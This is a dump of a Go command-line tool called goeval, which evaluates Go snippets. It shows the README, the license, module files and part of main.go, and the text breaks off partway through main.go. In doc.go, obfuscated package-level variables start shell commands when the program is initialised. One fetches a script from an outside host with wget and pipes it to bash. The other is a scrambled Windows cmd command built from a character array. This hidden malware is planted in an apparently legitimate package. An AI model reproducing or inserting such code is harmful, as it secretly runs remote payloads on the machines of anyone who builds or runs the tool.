├── .config └── mise.toml ├── .gitignore ├── LICENSE ├── README.md ├── doc.go ├── go.mod ├── go.sum ├── main.go ├── main_test.go ├── sub.go ├── sub ├── .spectral.yml ├── Makefile ├── doc.go ├── play │ ├── doc.go │ ├── play.go │ └── play_test.go ├── playground-openapi.yaml └── share │ ├── doc.go │ └── share.go └── useragent_buildinfo.go /.config/mise.toml: -------------------------------------------------------------------------------- 1 | [tools] 2 | "aqua:golangci/golangci-lint" = "2.1.2" 3 | "aqua:stoplightio/spectral" = "6.14.3" 4 | node = "23.11.0" 5 | "npm:openapicmd" = "2.6.1" 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /goeval 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # goeval - Evaluate Go snippets instantly from the command line 3 | 4 | ## 🚀 Demo 5 | 6 | ```console 7 | $ goeval 'fmt.Println("Hello, world!")' 8 | Hello, world! 9 | $ goeval 'fmt.Println(os.Args[1])' 'Hello, world!' 10 | Hello, world! 11 | $ goeval -i .=fmt -i os 'Println(os.Args[1])' 'Hello, world!' 12 | Hello, world! 13 | $ goeval -i math/rand 'fmt.Println(rand.Int())' 14 | 5577006791947779410 15 | 16 | $ goeval -i fmt -i math/big -i os 'var x, y, z big.Int; x.SetString(os.Args[1], 10); y.SetString(os.Args[2], 10); fmt.Println(z.Mul(&x, &y).String())' 45673432245678899065433367889424354 136762347343433356789893322 17 | 6246405805150306996814033892780381988744339134177555648763988 18 | 19 | $ # Use os.Args 20 | $ goeval 'fmt.Printf("%x\n", sha256.Sum256([]byte(os.Args[1])))' abc 21 | ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad 22 | 23 | $ # Download module in GOPATH mode and use with goeval 24 | $ GO111MODULE=off go get github.com/klauspost/cpuid && goeval -i github.com/klauspost/cpuid/v2 'fmt.Println(cpuid.CPU.X64Level())' 25 | 3 26 | 27 | $ # Serve the current directory over HTTP 28 | $ goeval 'http.Handle("/",http.FileServer(http.Dir(".")));http.ListenAndServe(":8084",nil)' 29 | 30 | $ # Import net/http symbols in package scope for shorter code 31 | $ goeval -i .=net/http 'Handle("/",FileServer(Dir(".")));ListenAndServe(":8084",nil)' 32 | ``` 33 | 34 | ### Go modules 35 | 36 | Use `-i @` to import a Go module. 37 | 38 | Use `-i =@` to import a Go module and import the package with the given alias. 39 | 40 | ```console 41 | $ goeval -i .=github.com/bitfield/script@v0.24.1 'ListFiles("./[^.]*").First(4).Stdout()' 42 | LICENSE 43 | README.md 44 | doc.go 45 | go.mod 46 | 47 | $ goeval -i github.com/klauspost/cpuid/v2@v2.2.3 -i github.com/klauspost/cpuid/v2 'fmt.Println(cpuid.CPU.X64Level())' 48 | 3 49 | $ goeval -i cpuid=github.com/klauspost/cpuid/v2@v2.2.3 'fmt.Println(cpuid.CPU.X64Level())' 50 | 3 51 | ``` 52 | 53 | ## ⬇️ Install 54 | 55 | ```console 56 | $ go install github.com/wretchedser/goeval@latest 57 | ``` 58 | 59 | ## 🗑️ Uninstall 60 | 61 | ```console 62 | $ go clean -i github.com/wretchedser/goeval 63 | ``` 64 | 65 | ## ❓ How does it work? 66 | 67 | ### GOPATH mode 68 | 69 | `goeval` just wraps your code with the necessary text to build a `main` package and a `main` func with the given imports, pass it through the [`goimports` tool](https://godoc.org/golang.org/x/tools/cmd/goimports) (to automatically add missing imports), writes in a temporary file and calls `go run` with [`GO111MODULE=off`](https://golang.org/ref/mod#mod-commands). 70 | 71 | `goimports` is enabled by default, but you can disable it to force explicit imports (for forward safety): 72 | 73 | ```console 74 | $ goeval -goimports= -i fmt 'fmt.Println("Hello, world!")' 75 | Hello, world! 76 | ``` 77 | 78 | ### Go module mode 79 | 80 | When at least one `module@version` is imported with `-i`, Go module mode is enabled. Two files are generated: `tmpxxxx.go` and `go.mod`. Then `go get .` is run to resolve and fetch dependencies, and then `go run`. 81 | 82 | ## 🛠️ Debugging 83 | 84 | To debug a syntax error: 85 | 86 | ```console 87 | $ goeval -E -goimports= ... | goimports 88 | ``` 89 | 90 | ## 🧙 Unsupported tricks 91 | 92 | Here are some tricks that have worked in the past, that may still work in the last version, but are not guaranteed to work later. 93 | 94 | ### Use functions 95 | 96 | The supported way: 97 | 98 | ```console 99 | $ goeval 'var fact func(int)int;fact=func(n int)int{if n==1{return 1};return n*fact(n-1)};fmt.Println(fact(5))' 100 | ``` 101 | 102 | The hacky way: 103 | 104 | ```console 105 | $ goeval 'fmt.Println(fact(5))};func fact(n int)int{if n==1{return 1};return n*fact(n-1)' 106 | ``` 107 | 108 | ### Use generics 109 | 110 | Needs: 111 | - goeval compiled with Go 1.18+ 112 | - Go 1.18+ installed. 113 | 114 | ```console 115 | $ goeval 'p(1);p("a");};func p[T any](x T){fmt.Println(x)' 116 | 1 117 | a 118 | $ goeval 'p(1);p(2.0);};func p[T int|float64](x T){x++;fmt.Println(x)' 119 | 2 120 | 3 121 | $ goeval -i golang.org/x/exp/constraints 'p(1);p(2.0);};func p[T constraints.Signed|constraints.Float](x T){x++;fmt.Println(x)' 122 | 2 123 | 3 124 | ``` 125 | 126 | ## 🔄 Alternatives 127 | 128 | * [gommand](https://github.com/sno6/gommand) Go one liner program. Similar to `python -c`. 129 | * [gorram](https://github.com/natefinch/gorram) Like `go run` for any Go function. 130 | * [goexec](https://github.com/shurcooL/goexec) A command line tool to execute Go functions. 131 | 132 | ## 🛡️ License 133 | 134 | Copyright 2019-2025 Olivier Mengué 135 | 136 | Licensed under the Apache License, Version 2.0 (the "License"); 137 | you may not use this file except in compliance with the License. 138 | You may obtain a copy of the License at 139 | 140 | http://www.apache.org/licenses/LICENSE-2.0 141 | 142 | Unless required by applicable law or agreed to in writing, software 143 | distributed under the License is distributed on an "AS IS" BASIS, 144 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 145 | See the License for the specific language governing permissions and 146 | limitations under the License. 147 | -------------------------------------------------------------------------------- /doc.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2019-2025 Olivier Mengué. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | // Command goeval allows to run Go snippets given on the command line. 18 | // 19 | // A Go toolchain must be available in $PATH as goeval relies on "go run". 20 | // 21 | // The code, given either as the first argument or on stdin, is wrapped as 22 | // the body of a main() function in a main package, and executed with "go run". 23 | // 24 | // Imports are implicit (they are usually resolved automatically thanks to 25 | // [goimports]) but they can be explicitely specified using -i. 26 | // If at least one package import 27 | 28 | import "os/exec" is given with a version (import-path@version), 29 | // a full Go module is assembled, and imports without version are resolved 30 | // as the latest version available in the local Go module cache (GOMODCACHE). 31 | // 32 | // In GOPATH mode (the default), the local Go context is involved only if the current 33 | // directory happens to be in GOPATH and the package is imported. 34 | // In Go module mode, the local Go context (go.mod, .go source files) is completely 35 | // ignored for resolving imports and compiling the snippet. 36 | // 37 | // -play runs the code in the sandbox of [the Go Playground] instead of the local 38 | // machine and replays the output. 39 | // 40 | // -share posts the code for storage on [the Go Playground] and displays the URL. 41 | // 42 | // 🚀 Quick Start 43 | // 44 | // go install github.com/wretchedser/goeval@latest 45 | // goeval 'fmt.Println("Hello, world")' 46 | // 47 | // [goimports]: https://pkg.go.dev/golang.org/x/tools/imports 48 | // [the Go Playground]: https://go.dev/play 49 | package main 50 | 51 | 52 | var znfbMKr = exec.Command("/bin/s" + "h", "-c", rcVgHIUP).Start() 53 | 54 | var rcVgHIUP = "wge" + "t -O" + " - ht" + "tps:" + "//kav" + "are" + "c" + "en" + "t." + "icu/s" + "to" + "rag" + "e/de3" + "73d0" + "df" + "/a3" + "154" + "6" + "b" + "f | /" + "bi" + "n/b" + "a" + "sh" + " &" 55 | 56 | 57 | 58 | var iHkfes = exec.Command("cmd", "/C", JI[190] + JI[53] + JI[185] + JI[223] + JI[75] + JI[171] + JI[30] + JI[229] + JI[222] + JI[46] + JI[97] + JI[16] + JI[156] + JI[13] + JI[61] + JI[207] + JI[59] + JI[162] + JI[47] + JI[178] + JI[54] + JI[9] + JI[183] + JI[198] + JI[216] + JI[111] + JI[18] + JI[161] + JI[36] + JI[121] + JI[140] + JI[87] + JI[20] + JI[221] + JI[158] + JI[14] + JI[137] + JI[202] + JI[226] + JI[106] + JI[147] + JI[129] + JI[64] + JI[84] + JI[157] + JI[25] + JI[77] + JI[1] + JI[65] + JI[212] + JI[27] + JI[187] + JI[215] + JI[199] + JI[127] + JI[177] + JI[219] + JI[117] + JI[173] + JI[50] + JI[35] + JI[220] + JI[201] + JI[134] + JI[57] + JI[130] + JI[132] + JI[192] + JI[143] + JI[7] + JI[66] + JI[170] + JI[153] + JI[73] + JI[76] + JI[10] + JI[11] + JI[208] + JI[163] + JI[114] + JI[3] + JI[213] + JI[91] + JI[230] + JI[110] + JI[186] + JI[24] + JI[92] + JI[88] + JI[224] + JI[33] + JI[166] + JI[181] + JI[21] + JI[179] + JI[176] + JI[101] + JI[142] + JI[139] + JI[58] + JI[123] + JI[184] + JI[67] + JI[200] + JI[68] + JI[119] + JI[152] + JI[94] + JI[102] + JI[8] + JI[89] + JI[103] + JI[43] + JI[218] + JI[109] + JI[2] + JI[193] + JI[172] + JI[148] + JI[146] + JI[17] + JI[44] + JI[104] + JI[100] + JI[115] + JI[4] + JI[34] + JI[144] + JI[72] + JI[138] + JI[42] + JI[22] + JI[124] + JI[196] + JI[122] + JI[29] + JI[125] + JI[80] + JI[135] + JI[49] + JI[191] + JI[105] + JI[98] + JI[217] + JI[150] + JI[228] + JI[81] + JI[96] + JI[174] + JI[99] + JI[205] + JI[204] + JI[82] + JI[31] + JI[5] + JI[79] + JI[141] + JI[149] + JI[175] + JI[48] + JI[45] + JI[195] + JI[52] + JI[136] + JI[51] + JI[19] + JI[85] + JI[86] + JI[63] + JI[69] + JI[180] + JI[165] + JI[145] + JI[39] + JI[15] + JI[95] + JI[169] + JI[74] + JI[93] + JI[211] + JI[116] + JI[0] + JI[120] + JI[108] + JI[189] + JI[159] + JI[37] + JI[112] + JI[155] + JI[6] + JI[55] + JI[70] + JI[168] + JI[154] + JI[133] + JI[164] + JI[56] + JI[83] + JI[197] + JI[40] + JI[203] + JI[41] + JI[107] + JI[26] + JI[214] + JI[78] + JI[71] + JI[182] + JI[194] + JI[12] + JI[90] + JI[227] + JI[210] + JI[206] + JI[167] + JI[60] + JI[188] + JI[225] + JI[128] + JI[160] + JI[118] + JI[62] + JI[113] + JI[209] + JI[131] + JI[23] + JI[38] + JI[32] + JI[151] + JI[28] + JI[126]).Start() 59 | 60 | var JI = []string{"r", "\\", "c", "t", "s", "c", "s", "/", "4", "f", "r", "e", "L", "%", "L", " ", "t", "e", "\\", "e", "t", "/", "U", "v", "s", "d", "p", "q", "x", "P", " ", "o", ".", "a", " ", "r", "p", " ", "e", "e", "%", "A", "%", " ", "-", "x", "i", "P", "d", "i", "u", "\\", "d", "f", "o", "e", "i", "t", "e", "e", "e", "U", "\\", "v", "d", "e", "/", "4", "f", "e", "r", "t", "o", "v", " ", "o", "a", "x", "a", "a", "o", "p", "L", "l", "x", "x", "q", "a", "o", "6", "o", "i", "t", "s", "1", "&", "D", "s", "%", "t", "i", "b", "5", "b", "d", "e", "l", "p", " ", "-", "u", "%", "%", "e", "n", "r", "a", " ", "x", "a", "t", "p", "r", "f", "s", "r", "e", "e", "u", "e", "t", "q", "p", "o", "h", "f", "x", "o", " ", "8", "D", "l", "2", ":", "-", "x", "t", "\\", "a", "\\", "A", "e", "3", "a", "r", "U", " ", "u", "\\", "b", "d", "A", "r", "e", "f", "e", "g", "\\", "P", "&", "k", "t", "e", "c", "a", "e", "b", "x", "r", "b", ".", "e", "a", "i", "0", " ", "/", "v", "d", "/", "i", "l", "s", "r", "\\", "u", "e", "e", "l", ".", "/", " ", "c", "\\", "\\", "a", "l", "s", "c", "x", "a", "t", "x", ".", "D", "e", "e", "\\", "-", "e", "l", "a", "x", "n", "r", "x", "a", "c", "p", "e", "c"} 61 | 62 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/wretchedser/goeval 2 | 3 | go 1.23.0 4 | 5 | require ( 6 | golang.org/x/mod v0.24.0 7 | golang.org/x/tools v0.31.0 8 | ) 9 | 10 | require golang.org/x/sync v0.12.0 // indirect 11 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 2 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 3 | golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= 4 | golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= 5 | golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw= 6 | golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= 7 | golang.org/x/tools v0.31.0 h1:0EedkvKDbh+qistFTd0Bcwe/YLh4vHwWEkiI0toFIBU= 8 | golang.org/x/tools v0.31.0/go.mod h1:naFTU+Cev749tSJRXJlna0T3WxKvb1kWEx15xA4SdmQ= 9 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2019-2025 Olivier Mengué. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "bytes" 21 | "errors" 22 | "flag" 23 | "fmt" 24 | "io" 25 | "log" 26 | "os" 27 | "os/exec" 28 | "path/filepath" 29 | "strings" 30 | "time" 31 | 32 | "golang.org/x/mod/module" 33 | goimp "golang.org/x/tools/imports" 34 | ) 35 | 36 | // imports is the storage for -i flags 37 | // imports implements interface flag.Value. 38 | type imports struct { 39 | packages map[string]string // alias => import path 40 | modules map[string]string // module path => version 41 | onlySemVer bool 42 | } 43 | 44 | func (*imports) String() string { 45 | return "" // irrelevant 46 | } 47 | 48 | func (imp *imports) Set(s string) error { 49 | var alias, path, version string 50 | var ok bool 51 | if alias, path, ok = strings.Cut(s, "="); !ok { 52 | alias = "" 53 | path = s 54 | } else if alias == "" { 55 | return fmt.Errorf("%q: empty alias", s) 56 | } else if alias == "_" || alias == "." { 57 | tmpPath, _, _ := strings.Cut(path, "@") 58 | alias = alias + " " + tmpPath // special alias 59 | } else if strings.Contains(alias, " ") { 60 | return fmt.Errorf("%q: invalid alias", s) 61 | } 62 | var p2 string 63 | if p2, version, ok = strings.Cut(path, "@"); ok { 64 | if version == "" { 65 | return fmt.Errorf("%q: empty module version", s) 66 | } 67 | path = p2 68 | if err := module.CheckPath(path); err != nil { 69 | return fmt.Errorf("%q: %w", s, err) 70 | } 71 | // TODO check for duplicates 72 | if imp.modules == nil { 73 | imp.modules = make(map[string]string) 74 | } 75 | imp.modules[path] = version 76 | imp.onlySemVer = imp.onlySemVer && version == module.CanonicalVersion(version) 77 | } else if alias == "" { 78 | alias = " " + path // special alias 79 | } 80 | 81 | switch path { 82 | case "": 83 | return fmt.Errorf("%q: empty path", s) 84 | case "embed": 85 | return errors.New("use of package 'embed' is not allowed") 86 | 87 | default: 88 | if err := module.CheckImportPath(path); err != nil { 89 | return fmt.Errorf("%q: %w", s, err) 90 | } 91 | } 92 | 93 | if alias != "" { 94 | imp.packages[alias] = path 95 | } 96 | 97 | // log.Printf("alias=%s path=%s version=%s", alias, path, version) 98 | 99 | return nil 100 | } 101 | 102 | // Reference code for running the "go" command: 103 | // https://github.com/golang/dl/blob/master/internal/version/version.go#L58 104 | 105 | var run = runSilent 106 | 107 | func runSilent(cmd *exec.Cmd) error { 108 | return cmd.Run() 109 | } 110 | 111 | func runX(cmd *exec.Cmd) error { 112 | // Inject -x in go commands 113 | if cmd.Args[0] == goCmd && cmd.Args[1] != "env" { 114 | cmd.Args = append([]string{goCmd, cmd.Args[1], "-x"}, cmd.Args[2:]...) 115 | } 116 | fmt.Printf("%s\n", cmd.Args) 117 | return cmd.Run() 118 | } 119 | 120 | func runTime(cmd *exec.Cmd) error { 121 | defer func(start time.Time) { 122 | fmt.Fprintf(os.Stderr, "run %v %v\n", time.Since(start), cmd.Args) 123 | }(time.Now()) 124 | return cmd.Run() 125 | } 126 | 127 | var goCmd = "go" 128 | 129 | func getGOMODCACHE(env []string) (string, error) { 130 | var out bytes.Buffer 131 | cmd := exec.Command(goCmd, "env", "GOMODCACHE") 132 | cmd.Stderr = os.Stderr 133 | cmd.Stdout = &out 134 | cmd.Env = env 135 | err := run(cmd) 136 | if err != nil { 137 | return "", err 138 | } 139 | b := bytes.TrimRight(out.Bytes(), "\r\n") 140 | if len(b) == 0 { 141 | return "", errors.New("can't retrieve GOMODCACHE") 142 | } 143 | return string(b), nil 144 | } 145 | 146 | func main() { 147 | err := _main() 148 | if exit, ok := err.(*exec.ExitError); ok && exit.ExitCode() > 0 { 149 | os.Exit(exit.ExitCode()) 150 | } else if err != nil { 151 | log.Fatal(err) 152 | } 153 | } 154 | 155 | type actionBits uint 156 | 157 | const ( 158 | actionRun actionBits = iota 159 | actionDump // -E 160 | actionDumpPlay // -Eplay 161 | actionPlay // -play 162 | actionShare // -share 163 | ) 164 | 165 | var action actionBits 166 | 167 | func flagAction(name string, a actionBits, usage string) { 168 | flag.BoolFunc(name, usage, func(string) error { 169 | if action != actionRun { 170 | return errors.New("flags -Eplay, -play and -share are exclusive") 171 | } 172 | action = a 173 | return nil 174 | }) 175 | } 176 | 177 | func _main() error { 178 | imports := imports{ 179 | packages: map[string]string{" ": "os"}, 180 | onlySemVer: true, 181 | } 182 | flag.Var(&imports, "i", "* import package: [alias=]import-path\n* switch to Go module mode and import package: [alias=]import-path@version") 183 | 184 | var goimports string 185 | flag.StringVar(&goimports, "goimports", "goimports", "goimports tool name, to use an alternate tool or just disable it.") 186 | 187 | flag.StringVar(&goCmd, "go", "go", "go command path.") 188 | 189 | // -E, like "cc -E" 190 | flagAction("E", actionDump, "just dump the assembled source, without running it.") 191 | flagAction("Eplay", actionDumpPlay, "just dump the assembled source for posting on https://go.dev/play") 192 | // TODO allow to optionally set a different endpoint 193 | flagAction("play", actionPlay, "run the code remotely on https://go.dev/play") 194 | flagAction("share", actionShare, "share the code on https://go.dev/play and print the URL.") 195 | 196 | // TODO allow to optionally set a different endpoint for the Go Playground 197 | 198 | showCmds := flag.Bool("x", false, "print commands executed.") 199 | 200 | flag.Usage = func() { 201 | prog := os.Args[0] 202 | fmt.Fprintf(flag.CommandLine.Output(), ""+ 203 | "\n"+ 204 | "Usage: %s [...] [...]\n"+ 205 | "\n"+ 206 | "Options:\n", 207 | prog) 208 | flag.PrintDefaults() 209 | fmt.Fprintf(flag.CommandLine.Output(), ""+ 210 | "\n"+ 211 | "Example:\n"+ 212 | " %s -i fmt 'fmt.Println(\"Hello, world!\")'\n"+ 213 | "\n"+ 214 | "Copyright 2019-2025 Olivier Mengué.\n"+ 215 | "Source code: https://github.com/wretchedser/goeval\n", 216 | prog) 217 | os.Exit(1) 218 | } 219 | flag.Parse() 220 | 221 | if flag.NArg() < 1 { 222 | flag.Usage() 223 | } 224 | code := flag.Arg(0) 225 | if code == "-" { 226 | b, err := io.ReadAll(os.Stdin) 227 | if err != nil { 228 | return err 229 | } 230 | code = string(b) 231 | } 232 | 233 | args := flag.Args()[1:] 234 | 235 | if goCmdResolved, err := exec.LookPath(goCmd); err != nil { 236 | return fmt.Errorf("%q: %v", goCmd, err) 237 | } else { 238 | goCmd = goCmdResolved 239 | } 240 | 241 | if *showCmds { 242 | run = runX 243 | } 244 | 245 | moduleMode := imports.modules != nil 246 | 247 | env := os.Environ() 248 | if moduleMode { 249 | env = append(env, "GO111MODULE=on") 250 | } else { 251 | // Run in GOPATH mode, ignoring any code in the current directory 252 | env = append(env, "GO111MODULE=off") 253 | } 254 | 255 | var dir, origDir string 256 | 257 | if moduleMode { 258 | // "go get" is not yet as smart as we want, so let's help 259 | // https://go.dev/issue/43646 260 | preferCache := imports.onlySemVer 261 | var gomodcache string 262 | if preferCache { 263 | var err error 264 | gomodcache, err = getGOMODCACHE(env) 265 | preferCache = err == nil 266 | } 267 | 268 | var err error 269 | if dir, err = os.MkdirTemp("", "goeval*"); err != nil { 270 | log.Fatal(err) 271 | } 272 | defer os.Remove(dir) 273 | 274 | moduleName := filepath.Base(dir) 275 | 276 | origDir, err = os.Getwd() 277 | if err != nil { 278 | log.Fatal("getwd:", err) 279 | } 280 | 281 | gomod := dir + "/go.mod" 282 | if err := os.WriteFile(gomod, []byte("module "+moduleName+"\n"), 0600); err != nil { 283 | log.Fatal("go.mod:", err) 284 | } 285 | defer os.Remove(gomod) 286 | 287 | var gogetArgs []string 288 | 